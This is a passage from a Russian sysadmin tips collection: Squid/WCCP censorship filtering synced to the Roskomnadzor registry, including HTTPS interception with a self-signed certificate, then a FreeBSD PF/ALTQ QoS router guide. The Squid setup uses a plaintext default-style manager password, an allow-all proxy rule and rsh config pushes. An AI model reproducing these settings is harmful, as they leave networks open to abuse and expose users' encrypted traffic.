       cache_mem 1 MB
       cache_swap_low 90
       cache_swap_high 95
       maximum_object_size 1 KB
       maximum_object_size_in_memory 50 KB
       cache_replacement_policy heap LFUDA
       cache_dir ufs /var/squid/cache 1 1 1 no-store
       logfile_rotate 7
       dns_nameservers 8.8.8.8 8.8.4.4
       hosts_file /etc/hosts
       refresh_pattern ^ftp: 1440 20% 10080
       refresh_pattern ^gopher: 1440 0% 1440
       refresh_pattern . 0 20% 4320
       quick_abort_min 0 KB
       quick_abort_max 0 KB
       half_closed_clients off
       acl purge method PURGE
       acl CONNECT method CONNECT
       acl SSL_ports port 443
       acl Safe_ports port 80
       acl Safe_ports port 443 # https
       acl Safe_ports port 1025-65535 # unregistered ports
       http_access allow manager localhost
       http_access deny manager
       http_access allow purge localhost
       http_access deny purge
       http_access deny !Safe_ports
       http_access deny CONNECT !SSL_ports
       http_access allow localhost
       http_access allow all
       http_reply_access allow all
       icp_access allow all
       cache_mgr info@my.domain
       cache_effective_group proxy
       memory_pools off
       log_icp_queries off
       cachemgr_passwd q1w2e3r4 all
       client_db off
       buffered_logs on
       wccp2_router 1.1.2.1
       wccp2_forwarding_method 2
       wccp2_return_method 2
       wccp2_assignment_method 2
       wccp2_service dynamic 0
       wccp2_service_info 0 protocol=tcp flags=dst_ip_hash,dst_port_hash priority=240 ports=80
       wccp2_service dynamic 70
       wccp2_service_info 70 protocol=tcp flags=dst_ip_hash,dst_port_hash priority=240 ports=443
       wccp2_address 1.1.2.2
       redirect_program /usr/local/etc/squid/redirector.pl
       url_rewrite_children 20 startup=10 idle=1 concurrency=0
    
    Обратите внимание на строки wccp2_router и wccp2_address. Соответственно тут
    должны быть адреса на интерфейсе со стороны CISCO и SQUID. Трафик на сервер
    SQUID посылается путем замены MAC-адреса, без организации дополнительного GRE-тунеля.
    
    Скрипт редиректора копируется в  /usr/local/etc/squid/:
    
    
    
       #!/usr/bin/perl
    
       use IO::Handle;
       use POSIX qw(strftime);
       use POSIX qw(setsid);
       
       my $db_path     = "/var/db/zapret-info/";
       my $block_url   = "http://my.domain/block/";
       my $log_file    = "/var/log/squid/redirector.log";
       
       $0 = 'redirect' ;
       $| = 1 ;
       my @banners ;
       my @X ;
       my $serial      =0;
       
       sub _log {
           my $log_str = shift;
           my $now_str = strftime "%d-%m-%Y %H:%M:%S", localtime;
           printf(FLOG "[%s] %s\\n", $now_str, $log_str);
       }
       
       sub _rule_refresh {
           open(SER ,"${db_path}/serial");
           read(SER,$num,6);
           close(SER);
       
           if (length($num)==0) { $num=0; }
           if ($num > $serial) {
               _log("Reading file ${db_path}/denied.conf serial ${num}");
               open (IN_FILE, "${db_path}/denied.conf") || die $!;
               my @tmp_data = <IN_FILE>;
               chomp @tmp_data;
               @banners=();
               push @banners, map { qr /\\Q$_\\E/ }  grep { ! /^\\s*$/ }       @tmp_data;
               close(IN_FILE);
               $serial=$num;
           }
       }
       
       $SIG{INT} = \\&_rule_refresh;
       open(FLOG, ">>${log_file}");
       $| = 1 ;
       FLOG->autoflush(1);
       _log("Redirector started.");
       
       while (<>) {
           chomp ;
           @X = split ;
           ($url, $who, $ident, $method) = @X ;
           _rule_refresh ;
           $url = $block_url if grep ($url=~/$_/i, @banners) ;
           print "$url $who $ident $method\\n" ;
       }
       
       _log("Redirector exited.");
       close(FLOG);
       exit 0;
    
    
    В начале данного файла мы должны установить значение переменных $db_path,
    $block_url, $log_file в соответствии с Вашими настройками. $db_path содержит
    путь до директории с файлом denied.conf и serial, $block_url должен содержать
    адрес страницы на которую мы перекидываем клиента при блокировании ресурса.
    
    Что бы анализировать HTTPS-трафик, нам нужно сгенерировать самоподписанный сертификат:
    
       cd /usr/local/etc/squid/
       openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 -keyout squid.pem -out squid.pem
    
    Запускаем SQUID. Если все настроено верно, то на CISCO по команде sh ip wccp,
    мы увидим что-то похожее на такое:
    
       #sh ip wccp
       Global WCCP information:
        Router information:
        Router Identifier: 1.1.1.1
        Protocol Version: 2.0
       
       Service Identifier: 0
        Number of Service Group Clients: 1
        Number of Service Group Routers: 1
       ...
        Redirect access-list: WCCP_REDIRECT
       ...
    
       Service Identifier: 70
        Number of Service Group Clients: 1
        Number of Service Group Routers: 1
       ...
        Redirect access-list: WCCP_REDIRECT
       ...
    
    Если соединение WCCP2 установилось, мы может попробовать запустить трафик на
    SQUID. Для этого в ipfw мы должны поставить правила переадресации трафика :
    
       ipfw add 100 fwd 1.1.2.2,3128 tcp from not me to any dst-port 80 via ${wccp_intf} in
       ipfw add 100 fwd 1.1.2.2,3129 tcp from not me to any dst-port 443 via ${wccp_intf} in
    
    (где ${wccp_intf} - интерфейс для обмена wccp-трафиком)
    
    На CISCO запускаем трафик на SQUID :
    
       conf t
       int vlan90
        ip wccp 0 redirect in
        ip wccp 70 redirect in
    
    Для загрузки acl в CISCO поднимаем tftp-сервер, раскомментировав
    соответствующую строку в /etc/inetd.conf и перезапустив inetd . Проверяем
    загрузку правил по rsh, выполнив из консоли сервера :
    
       ( sleep 2 ; echo '' ; sleep 15 ) | rsh -l blocker 1.1.2.1 copy tftp://1.1.2.2/block.acl running-config ;
    
    Проверяем в CISCO что правила загрузились. Если все отлично, создаем скрипт,
    который мы включаем в на выполнение в крон :
    
       #!/bin/sh
       . /var/db/zapret-info/cfg/loader.conf
       /scripts/download.pl
    
       if [ $? -eq 0 ];
       then
        /scripts/xml-parser.pl
       else 
        exit 254 ;
       fi
       if [ $? -eq 0 ];
       then 
        ( sleep 2 ; echo '' ; sleep 15 ) | rsh -l blocker  ${cisco_address} copy tftp://${tftp_address}/block.acl running-config ;
       else 
        exit 253 ;
       fi
       exit 0;
    
    Создадим файл конфигурации скрипта в /var/db/zapret-info/cfg/loader.conf
    
       echo 'cisco_address="1.1.2.1"' > /var/db/zapret-info/cfg/loader.conf
       echo 'tftp_address="1.1.2.2"' >> /var/db/zapret-into/cfg/loader.conf
    
    Если Вы все сделали без ошибок и поняли идею, Вы получили работающий полностью
    в автоматическом режиме сервер фильтрации трафика, синхронизированный с
    реестром Роскомнадзора, фильтрующий ВСЕ (!) ресурсы внесенные в реестр, в том
    числе URI написанные на русском языке и URI на защищенных SSL-ресурсах (для
    пользователя соединение отдаётся с использованием самоподписанного сертификата).
    
     
    ----* Маршрутизатор на базе FreeBSD с приоритизация трафика средствами PF и ALTQ   Автор: artemrts  [комментарии]
     
    Проблема приоритизации трафика, на мой взгляд, весьма актуальна.
    Интернет-канала много не бывает и на всех пользователей и сервисов локальной
    зачастую не хватает. Поэтому для нормальной работы Интернета требуется
    грамотное распределения полосы с учетом потребностей каждого из участников.
    Единственный раз, когда мне не понадобился QoS - это гарантированный
    провайдером канал в 20 Мбит/с в мир и 100Мбит/с - национальный. Но такое
    удовольствие не из дешевых, поэтому зачастую народ довольствуется ADSL-каналом
    с заявленной скоростью к клиенту до 5-10 Мбит/с.
    
    Хочу заметить, что данная статья не предназначенная для новичков в сетевом
    администрировании в целом и в PF в частности. Читателю необходимо иметь
    минимальные навыки работы с сетями (понимать устройство пакета, знать что такое
    ТСР-флаги и т.д.), а также с пакетным фильтром PF. Не лишним будет прочесть
    официальный FAQ и man'ы. В основном цель этой статьи поделиться опытом,
    выслушать замечания и, возможно, улучшить свой вариант.
    
    И так, постановка задачи: организовать доступ к сети Интернет. Грамотно
    распределить как входящий так и исходящий трафик с разделением канала для
    клиентов локальной сети и сервисов, запущенных на самом роутере (например,
    FTP-сервер, SIP-сервер и т.д.). В качестве роутера выступает сервер с ОС
    FreeBSD 9 c пакетным фильром PF.
    Протокол FTP будет использоваться только в пассивном режиме, что немного упростит конфигурацию.
    
    Для решения поставленной задачи необходимо пересобрать ядро и включить в него
    поддержку PF и ALTQ. Для задач, не требующих ALTQ, пересобирать ядро не
    обязательно. Можно просто подгрузить PF как модуль.
    
    Добавляем в файл конфигурации следующие строки и пересобираем ядро. Описывать
    каждую опцию не буду. В man 4 altq все есть.
    
       options HZ=1000
    
       device pf
       device pflog
       options ALTQ
       options ALTQ_CBQ
       options ALTQ_RED
       options ALTQ_RIO
       options ALTQ_HFSC
       options ALTQ_CDNR
       options ALTQ_PRIQ
       #options ALTQ_NOPCC #for SMP CPU
    
    Лично я для боевого сервера пересобираю не только ядро системы, но и мир. Как
    это сделать, хорошо описано в Хендбуке и /usr/src/Makefile.
    
    Для автоматического запуска PF при старте системы добавляем в /etc/rc.conf строки:
    
       pf_enable="YES"
       pflog_enable="YES"
    
    Далее, собственно, сам конфигурационный файл пакетного фильтра. Возьмем самую
    простую реализацию роутера: один внутренний сетевой интерфейс и один внешний.
    Интернет канал подключен через ADSL-модем, работающий в режиме моста, т.е.
    подключение pppoe организовано средствами штатного ppp-клиента.
    
    Скорость от провайдера - 5 Мбит/c, к провайдеру - 850 Кбит/c. 
    На роутере запущен HTTP-прокси для прозрачного перенаправления WWW-трафика
    пользователей сети. Это сделано с целью блокировать метод CONNECT и
    принудительно направить другие виды трафика (например, торрент) в другие
    очереди с другим приоритетом. Я использую легковесный, но "шустрый" 3proxy
    (3proxy.ru). Кому важен кэш - используйте Squid или Apache Traffic Server.
    
    Также перенаправляются все ДНС-запросы на сервер ДНС-провайдера. Это сделано с
    целью блокировки фишинговых и других зловредных сайтов, сайтов для взрослых,
    аплоадеры, соц. сети и т.д. и т.п. Некоторые компании так же предоставляет
    блокировку рекламных баннеров.
    
    Весь исходящий трафик я разбил на следующие очереди:
    
     - ДНС-запросы - очередь u_dns
    
     - ТСР АСК-пакеты - очередь u_ack
    
     - трафик с высоким приоритетом - очередь u_hipri
    
     - трафик с нормальным приоритетом - очередь u_pri
    
     - трафик с низким приоритетом - очередь u_lowpri
    
     - весь остальной трафик - очередь u_other
    
     - стандартная очередь - очередь u_std, одна очередь должна быть с опцией default, в которую попадает трафик, который не попадает ни под какое другое правило. В нашем случае это показатель правильности назначения очередей в правилах фильтрации. В эту очередь ничего не должно попадать.
    
    Аналогичное деление трафика, идущего к клиенту локальной сети, только вместо
    u_* используется d_* обозначение.
    
    Трафик классифицируется как относительно сервиса/протокола (HTTP, FTP, Torrent)
    так и относительно пользователя, т.е. трафик от/к компьютера, например,
    бухгалтера может быть весь помечен как с высоким приоритетом, независимо от
    того Торрент это или FTP.
    Данные, являющиеся ДНС-запросам и ТСР АСК-пакетами, для всех пользователей
    имеют свой высокий неизменный приоритет. Например, весь трафик от/к компьютера,
    относящегося к группе с низким приоритетом, будет обрабатываться с низким
    приоритетом, кроме ДНС и ТСР АСК.
    
    Определяем макросы, что бы меньше текста в основной части конфигурационного файла.
    
       mst="modulate state"
       str="source-track rule"
       ext_if="tun0"
       int_if="rl0"
    
    Таблица, в которую включены компьютеры трафик  к/от которых весь будет
    считаться с высоким приоритетом.
    
       table <pc_hipri> persist {10.11.1.2}
    
    Аналогично для ПК с нормальным приоритетом.
    
       table <pc_pri> persist {10.13.1.2 10.13.1.10 10.13.1.13 10.13.1.14 10.13.1.15}
    
    Таблица с адресами, доступ к которым блокируется.
    
       table <ban> persist file "/etc/pf.ban"
    
    Таблица, с адресами клиентов, которым можно доверять.
    
       table <trust> persist {123.10.456.0/24 193.196.125.0/24}
    
    IP-адрес системного администратора.
    
       table <me> persist {210.211.13.84}
    
    IP-адреса SIP-провайдеров
    
       table <sip_peers> persist {212.15.65.122 75.16.127.118}
    
    Конфигурируем опции пакетного фильтра, изменяющие его поведение. В нашем случае:
    
    - не производится проверка на интерфейсе обратной петли;
    
    - выставляем оптимизацию правил в basic;
    
    - устанавливаем привязку состояний соединения (т.н. стейтов) к каждому интерфейсу;
    
    - устанавливаем максимальное кол-во состояний. Если сетевых интерфейсов большое
    кол-во или большое кол-во клиентов в сети, возможно, потребуется
    скорректировать это значение в большую сторону.
    
       set skip on lo0
       set ruleset-optimization basic
       set state-policy if-bound
       set limit states 20000
    
    Нормализация трафика (т.н. скрабинг). Срабинг позволяет значительно повысить
    безопасность файервола. В нашем случае выполняется нормализация трафика на
    внешнем интерфейсе, генерируется случайная последовательность в поле
    идентификации IP-пакета, устанавливается величина TTL=128, производится
    "дефрагментация" IP-пакетов, а также нормализация TCP соединений.
    
       scrub on $ext_if all random-id no-df min-ttl 128 fragment reassemble reassemble tcp
    
    
    ALTQ.
    
    Приоритизировать будем на всех физических сетевых интерфейсах. На внешнем -
    исходящий трафик, на внутреннем - входящий.
    Выбор дисциплины - очень важный момент. Возможные варианты: priq, cbq, hfsc. 
    
    Я использую hfsc, т.к. важной чертой этого планировщика есть именно
    гарантирование полосы для конкретного пользователя/сервиса. Работа планировщика
    для нашего конкретного случая построена следующим образом: если в описании
    очереди указан дополнительный параметр realtime, то ей будет отдана указанная
    (realtime) полоса независимо ни от чего. Величина трафика свыше realtime будет
    рассчитываться исходя из величины bandwidth. Причем  bandwidth - не абсолютный
    параметр, скорее относительный.
    
    Исходя из величин bandwidth каждой очереди рассчитывается величина трафика
    свыше realtime для каждой очереди пока не будет достигнут параметр upperlimit,
    который жестко ограничивает полосу. Приоритеты в планировщике hfsc не используются.
    
    Помимо всех прочих параметров, hfsc имеет параметр qlimit - кол-во слотов,
    доступных очереди для сохранения исходящих пакетов, когда вся доступная полоса
    исчерпана. И только когда все слоты будут заняты, пакеты будут отбрасываться,
    что заставит клиента снижать скорость. Мы не будем использовать RED или ECN,
    вместо этого увеличим значение qlimit.
    
    Назначаем очередь на внешнем интерфейсе. Величина bandwidth должна быть 96% от
    предоставляемой вышестоящим роутером. Здесь же перечисляем все дочерние очереди.
    
       altq on $ext_if hfsc bandwidth 800Kb queue {u_std,u_ack,u_dns,u_hipri,u_pri,u_lowpri,u_other}
    
    Очередь по-умолчанию. Будет потреблять 25 кбит/с независимо ни от чего.
    Величина bandwidth 1Kb означает, что если канал будет полностью занят любой
    другой очередью или всеми, то очередь u_std практически ничего не получит свыше
    25 кбит/с.
        
       queue u_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
    
    Очередь u_ack - это ТСР АСК-пакеты, которые будут отправляться удаленному хосту
    с которого происходит загрузка по протоколу ТСР. Важно, что бы эти пакеты
    проходили без задержек. Для максимальной скорости от провайдеоа 4 Мбит/с
    требуется гарантированный канал в обратную сторону в размере 125 кбит/с.
        
       queue u_ack bandwidth 1Kb qlimit 200 hfsc (realtime 125Kb)
    
    ДНС-запросы. Гарантированной полосы в 25 кбит/с вполне достаточно. Больше не
    нужно, поэтому bandwidth 1Kb
        
       queue u_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
    
    Очередь с высоким приоритетом
        
       queue u_hipri bandwidth 300Kb qlimit 250 hfsc (realtime 200Kb)
    
    Очередь с обычным приоритетом
    
       queue u_pri bandwidth 300Kb qlimit 400 hfsc (realtime 150Kb)
    
    Очередь с низким приоритетом
    
       queue u_lowpri bandwidth 100Kb qlimit 100 hfsc (realtime 75Kb)
    
    Очередь для всего остального трафика ТСР и UDP.
    
       queue u_other bandwidth 97Kb qlimit 50 hfsc (realtime 25Kb)
    
    Назначаем очереди на внутреннем интерфейсе - приоритизируем входящий трафик.
    Провайдер отдает 5 Мбит/с, поэтому устанавливаем очередь inetq в размере 96%.
    Так же на внутреннем интерфейсе запущен ряд служб, например, локальный FTP,
    поэтому важно "не смешать" локальный трафик с Интернет-трафиком. Так как
    сетевая карточка 100Mbit, то выставляем значение bandwidth в 100Mb. Назначаем
    две очереди: одна - локальный трафик, вторая Интернет-трафик с дочерними очередями.
    
       altq on $int_if hfsc bandwidth 100Mb queue {etherq, inetq}
    
    Очередь для локального трафика. В эту очередь будут попадать все пакеты, идущие
    от внутреннего сетевого интерфейса к пользователям локальной сети. Параметр
    upperlimit определяет максимальное значения для данной очереди. Заметьте, в эту
    очередь не будут попадать ответы, например, от WWW-сервера из сети Интернет.
    Эта очередь исключительно для локального трафика.
    
       queue etherq bandwidth 95Mb hfsc (upperlimit 95Mb)
    
    Очередь для Интернет-трафика. В эту очередь будут попадать пакеты, идущие с
    сети Интернет. Имеет дочерние очереди по аналогии с внешним интерфейсом.
    
       queue inetq bandwidth 4800Kb hfsc (upperlimit 4800Kb) {d_std,d_ack,d_dns,d_hipri,d_pri,d_lowpri,d_other}
       queue d_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
       queue d_ack bandwidth 1Kb qlimit 50 hfsc (realtime 50Kb)
       queue d_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
       queue d_hipri bandwidth 1297Kb qlimit 500 hfsc (realtime 1000Kb)
       queue d_pri bandwidth 2000Kb qlimit 500 hfsc (realtime 2000Kb)
       queue d_lowpri bandwidth 1000Kb qlimit 500 hfsc (realtime 500Kb)
       queue d_other bandwidth 500Kb qlimit 500 hfsc (realtime 240Kb)
    
    Правила трансляции локальных адресов (NAT).
    
    Транслируются адреса, где источник - IP-адрес из любой подсети внутреннего
    интерфейса, а адрес назначения - любой, кроме IP-адресов из всех подсетей,
    подключенных к роутеру. Это могут быть как физические так и VPN-интерфейсы
    (tun, gif).
    ($ext_if) - в круглых скобках, т.к. IP-адрес внешнего интерфейса назначается динамически.
    
    ($int_if:network) и (self) в круглых скобках что бы в выводе pfctl -sn не было
    подстановки реальных адресов и сетей. Это удобно, когда у вас на внутреннем
    интерфейсе несколько алиасов и, соответственно, подсетей (как в моем случае).
    
       nat on $ext_if inet from ($int_if:network) to !(self) -> ($ext_if) port 1024:65535
    
    Пользователей из группы pc_hipri и pc_pri пускаем в обход прокси. Я пускаю их
    напрямую, т.к. эти пользователи не нуждаются в контроле, а также специфическое
    ПО не работает в режиме прозрачного проксирования.
    
       no rdr on $int_if inet proto tcp from {<pc_hipri> <pc_pri>} to !(self) port 80
    
    Правило редиректа, перенаправляющие все ДНС-запросы локальных пользователей на
    внешний ДНС-сервер. Это может быть Google или, лучше, ДНС-сервер компании,
    предоставляющей фильтрацию трафика посредством ДНС.
    
       rdr on $int_if inet proto {tcp udp} from ($int_if:network) to !(self) port 53 -> 193.58.251.251 port 53
    
    Редирект на прокси-сервер.
    
       rdr on $int_if inet proto tcp from ($int_if:network) to !(self) port 80 -> 127.0.0.1 port 31280
    
    Редирект на удаленный рабочий стол виндовой машины в локальной сети из сети Интернет.
    
       rdr on $ext_if inet proto tcp from any to ($ext_if) port 3389 -> 10.11.1.2 port 3389
    
    Правила фильтрации трафика. Правила будем группировать в такой
    последовательности: действие, интерфейс, направление, протокол, адрес
    источника, порт источника, адрес назначения, порт назначения.
    
    Антиспуфинг.
    
       antispoof quick for {$int_if lo0} inet
    
    Блокируем не маршрутизируемые адреса.
    
       block in quick inet from no-route to any
    
    Блокируем броадкасты.
    
       block in quick on $ext_if inet from any to 255.255.255.255
    
    Блокируем IP-адреса, содержащиеся в таблице ban. Опция return возвращает TCP
    RST, что закрывает сразу соединение без таймаута. Полезно, когда блокируются
    адреса рекламных сетей, что позволяет браузеру нормально загружать странички
    без ожидания загрузки блокируемого контента.
    
       block return out quick on $ext_if inet from any to <ban>
    
    Эти 2 правила определяют тип файервола: запрещено все, кроме явно разрешенного.
    
       block in all
       block out all
    
    Собственно разрешающие правила. 
    Расположены в определенной последовательности, что важно с точки зрения
    производительности, а также ожидаемого эффекта.
    
    Внутренний интерфейс.
    Разрешаем ТСР-пакеты к интерфейсу обратной петли, на котором "слушает" прокси-
    сервер для организации прозрачного проксирования. Назначаем очереди. Мы не
    можем приоритизировать входящий трафик, только исходящий. В d_pri будут
    попадать пакеты, которые являются ответом от сервера к клиенту, таким образом
    мы регулируем скорость скачивания.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_pri, d_ack)
    
    Далее 3 правила, которые разрешают ТСР соединения на определенные порты на не
    локальные IP-адреса. Назначаются соответствующие очереди. Тегирование
    необходимо что бы потом на внешнем интерфейсе мы могли "отделить" его от
    остального трафика и направить в нужную очередь. Заметьте, опция quick не
    используется, поэтому эти правила нужно расположить в правильной
    последовательности: от менее ограничивающего к более, потому как без опции
    quick последнее совпавшее правило выигрывает, а не первое совпавшее.
    
    Опция quick не используется т.к. при совпадении пакет будет назначен в очередь
    и пропущен и не дойдет до тех правил, которые описывают разрешения и
    приоритеты, основанные не на протоколах, а на адресах источника/назначения (в
    нашем случае это компьютеры из группы pc_hipri и pc_pri). Т.к. протокол ТСР, то
    так же добавляем очередь для ТСР АСК-пакетов. В качестве адреса назначения в
    правилах фигурирует !(self:network). Это значит, что только пакеты, не
    предназначенные ни к одному IP-адресу сетевых интерфейсов или IP-адресу из
    подсетей, подключенных к роутеру, будут разрешаться и, соответственно,
    тегироваться. Это, например, не даст подключиться к внешнему IP из локальной сети.
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		$mst queue (d_other d_ack) tag INET_OTHER
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {20 21 25 110 143 5190 8080 081} $mst queue (d_lowpri d_ack) tag INET_LOWPRI
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 443 $mst queue (d_pri d_ack) tag INET_PRI
    
    Далее 2 правила, которые будут срабатывать как для всех пользователей так и для
    тех, кто принадлежит к т.н. VIP-группе (pc_hipri и pc_pri). Поэтому тут
    используем опцию quick.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {22 3389} $mst queue (d_hipri d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 53 $mst queue (d_dns d_ack) tag INET_DNS
    
    Следующие 2 правила, по-аналогии с TCP, описывают разрешения и очереди для
    протокола UDP. Так же их тегируем. Второе правило с опцией quick, т.к. оно
    должно срабатывать для всех категорий пользователей.
    
       pass in log on $int_if inet proto udp from ($int_if:network) to !(self:network) queue d_other tag INET_OTHER
    
       pass in log quick on $int_if inet proto udp from ($int_if:network) to !(self:network) \\
    		port {53 123} queue d_dns tag INET_DNS
    
    Правило, разрешающее ICMP.
    
       pass in log on $int_if inet proto icmp from ($int_if:network) to !(self:network) queue d_lowpri tag INET_LOWPRI
    
    Следующие правила, разрешающие трафик от клиентов, с высоким и нормальным
    приоритетом. Весь трафик будет считаться очень высоким (hipri) или высоким
    (pri) приоритетом (кроме ДНС и ТСР АСК). Здесь мы не указываем протокол, но
    указываем modulate state, который применяется только для ТСР. Это не будет
    ошибкой, PF достаточно "умный" и он подставит modulate state для протокола ТСР,
    и keep state - для всех остальных протоколов.
    
       pass in log quick on $int_if inet from <pc_hipri> to !(self:network) $mst queue (d_hipri, d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet from <pc_pri> to !(self:network) $mst queue (d_pri, d_ack) tag INET_PRI
    
    Разрешаем локальный Ethernet к внутреннему интерфейсу роутера.
    
       pass in quick on $int_if inet from ($int_if:network) to ($int_if) queue etherq
    
    Теперь опишем разрешающие правила с внутреннего интерфейса роутера в локальную
    сеть. Если у вас нет редиректа с Интернета в локальную сеть или нет никаких
    серверов/клиентов, запущенных на самом роутере и требующих доступ в локальную
    сеть, то эти правила можно не добавлять.
    Первое правило разрешает трафик с Интернета к указанному IP в локальной сети и
    назначает очень высокий приоритет входящего трафика. Это третье правило (первое
    - rdr, второе - разрешающее на внешнем интерфейсе) для редиректа (проброса)
    порта в локальную сеть.
    
       pass out quick on $int_if inet proto tcp from !(self) to 10.11.1.2 port 3389 queue (d_hipri d_ack)
    
    Правило, разрешающее трафик от внутреннего сетевого интерфейса роутера в
    локальную сеть. Не важно какой протокол. Весь направляется в очередь etherq.
    
       pass out quick on $int_if inet from ($int_if) to ($int_if:network) queue etherq
    
    
    Внешний интерфейс. Разрешающие правила для входящего трафика. Важно, для
    каждого входящего правило указывать максимальное кол-во стейтов, которые может
    создать правило. Это предотвратит исчерпывания всего лимита стейтов одним
    правилом в случае DoS атаки.
    Последующие 6 правил разрешают входящие ТСР-подключения к определенным портам
    роутера, а также назначаются соответствующие очереди. Эти очереди будут
    приоритизировать не входящий трафик, а исходящий. Так же стоит обратить
    внимание на первые два правила, которые разрешают доступ к FTP серверу на
    роутере. Передача команд по 21-му порту будет направляться в очередь с большим
    приоритетом (u_pri), а данные - с меньшим (u_lowpri).
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port 21 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port >=49152 $mst (max 100) queue (u_lowpri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 22 $mst (max 10) queue (u_hipri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 80 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 5900 $mst (max 10) queue (u_hipri u_ack)
    
    Правило, разрешающее входящее подключение с сети Интернет (конкретно с адреса
    администратора), но не к интерфейсам роутера (внешнему в том числе), а к
    компьютеру в локальной сети к порту RDP.
    
       pass in quick on $ext_if inet proto tcp from <me> to !(self) port 3389 $mst (max 10) queue (u_hipri u_ack)
    
    Следующее правило разрешает подключение с любого адреса сети Интернет к
    VNC-репитеру. В целях безопасности включен трекинг источника (source-track).
    
       pass in quick on $ext_if inet proto tcp from any to ($ext_if) port 5500 $mst \\
    		(max 10,$str, max-src-nodes 2, max-src-states 3, max-src-conn-rate 3/60) \\
    		queue (u_hipri u_ack)
    
    
    Следующие 2 правила разрешают подключения к определенным портам по протоколу UDP.
    
       pass in quick on $ext_if inet proto udp from any to ($ext_if) port 1194 (max 20) queue u_pri
    
       pass in quick on $ext_if inet proto udp from <sip_peers> to ($ext_if) port 5060 (max 20) queue u_hipri
    
    Разрешаем пинг к внешнему интерфейсу.
    
       pass in quick on $ext_if inet proto icmp from any to ($ext_if) icmp-type echoreq (max 100) queue u_other
    
    Внешний интерфейс. Разрешающие правила для исходящего трафика.
    Следующие 5 правил разрешают исходящий трафик с внешнего интерфейса, который
    был помечен на внутреннем интерфейсе. Это исключительно данные, которые
    передаются в сеть Интернет от клиентов в локальной сети.
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_dns u_ack) tagged INET_DNS
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_hipri u_ack) tagged INET_HIPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_pri u_ack) tagged INET_PRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_lowpri u_ack) tagged INET_LOWPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_other u_ack) tagged INET_OTHER
    
    И последние правила, разрешающие исходящие соединения с внешнего интерфейса.
    Это будет трафик непосредственно самого роутера. В целом приоритет этого
    трафика выше чем от клиентов в локальной сети.
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any port 53 $mst queue (u_dns u_ack)
    		
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any port {53 123} queue u_dns
    	
       pass out quick on $ext_if inet proto udp from ($ext_if) to <sip_peers> port 5060 queue u_hipri
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any queue u_pri
    
       pass out quick on $ext_if inet proto icmp from ($ext_if) to any $mst queue u_lowpri
    
    Есть один важный момент, на котором остановлюсь подробнее. Второе правило будет
    разрешать ТСР-соединения с роутера и в том числе на 80 порт. Под это правило
    так же подпадают пакеты, отправленные с прокси-сервера, трафик, который
    фактически является HTTP-трафиком  клиентов из локальной сети. Т.к. в нашем
    случае приоритеты этих видов трафика равны (очередь u_pri), то все хорошо. Но
    если планируется назначить очереди разные (например, HTTP от локальных клиентов
    - очередь u_lowpri, а с внешнего интерфейса роутера - u_pri), тогда следует
    указать в правиле для прокси-сервера опцию user uid и поместить его над
    правилом для внешнего интерфейса роутера. Например, прокси запущен с правами
    пользователя nobody:
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any user nobody $mst queue (u_lowpri u_ack)
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
    Соответственно, правило, разрешающее доступ к прокси из локалной сети тоже
    немного измениться: необходимо поменять очередь с d_pri на d_lowpri.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_lowpri, d_ack)
    
    Стоить отметить о наличии бага, который проявляется при использованием опции
    user. Об этом описано в секции BUGS на странице руководства pf.conf. Лично у
    меня этот баг не проявлялся. Все же старайтесь опцию user не использовать.
    
    Отладка. Отличительной способностью PF есть его протоколирование, статистика и
    мониторинг состояния в реальном времени что значительно облегчает
    конфигурирование файервола, особенно для сложных сетевых топологий.
     
    Просмотр загруженных очередей:
    
       pfctl -sq
    
    Что бы в реальном времени наблюдать загрузку очередей выполните команду:
    
       pfctl -vvsq
    
    Так же рекомендую установить из портов программу pftop, которая по аналогии с
    утилитой top выводит различную статистику PF в реальном времени.
    
     
    ----* Балансировка трафика в Linux (доп. ссылка 1)   Автор: mirage  [комментарии]
     
    Данная схема отслеживает новые соединения и равномерно распределяет их по каналам.
    
    Допустим есть 4 канала в интернет:
       Linux Router           ISP
      |ppp0 10.0.0.1|-----|10.0.0.2|
      |ppp1 10.0.0.3|-----|10.0.0.3|
      |ppp2 10.0.0.5|-----|10.0.0.4|
      |ppp3 10.0.0.7|-----|10.0.0.5|
     
    
    Добавляем в файл /etc/iproute2/rt_tables таблицы:
    
       108   sat2
       109   sat3
       110   sat4
    
    
    Настраиваем маршруты (раскидываем трафик по таблицам в зависимости от nfmark):
    
       ip rule add prio 50 fwmark 1 table sat2
       ip rule add prio 51 fwmark 2 table sat3
       ip rule add prio 52 fwmark 3 table sat4
    
       ip route add default via 10.0.0.2 dev ppp0
    
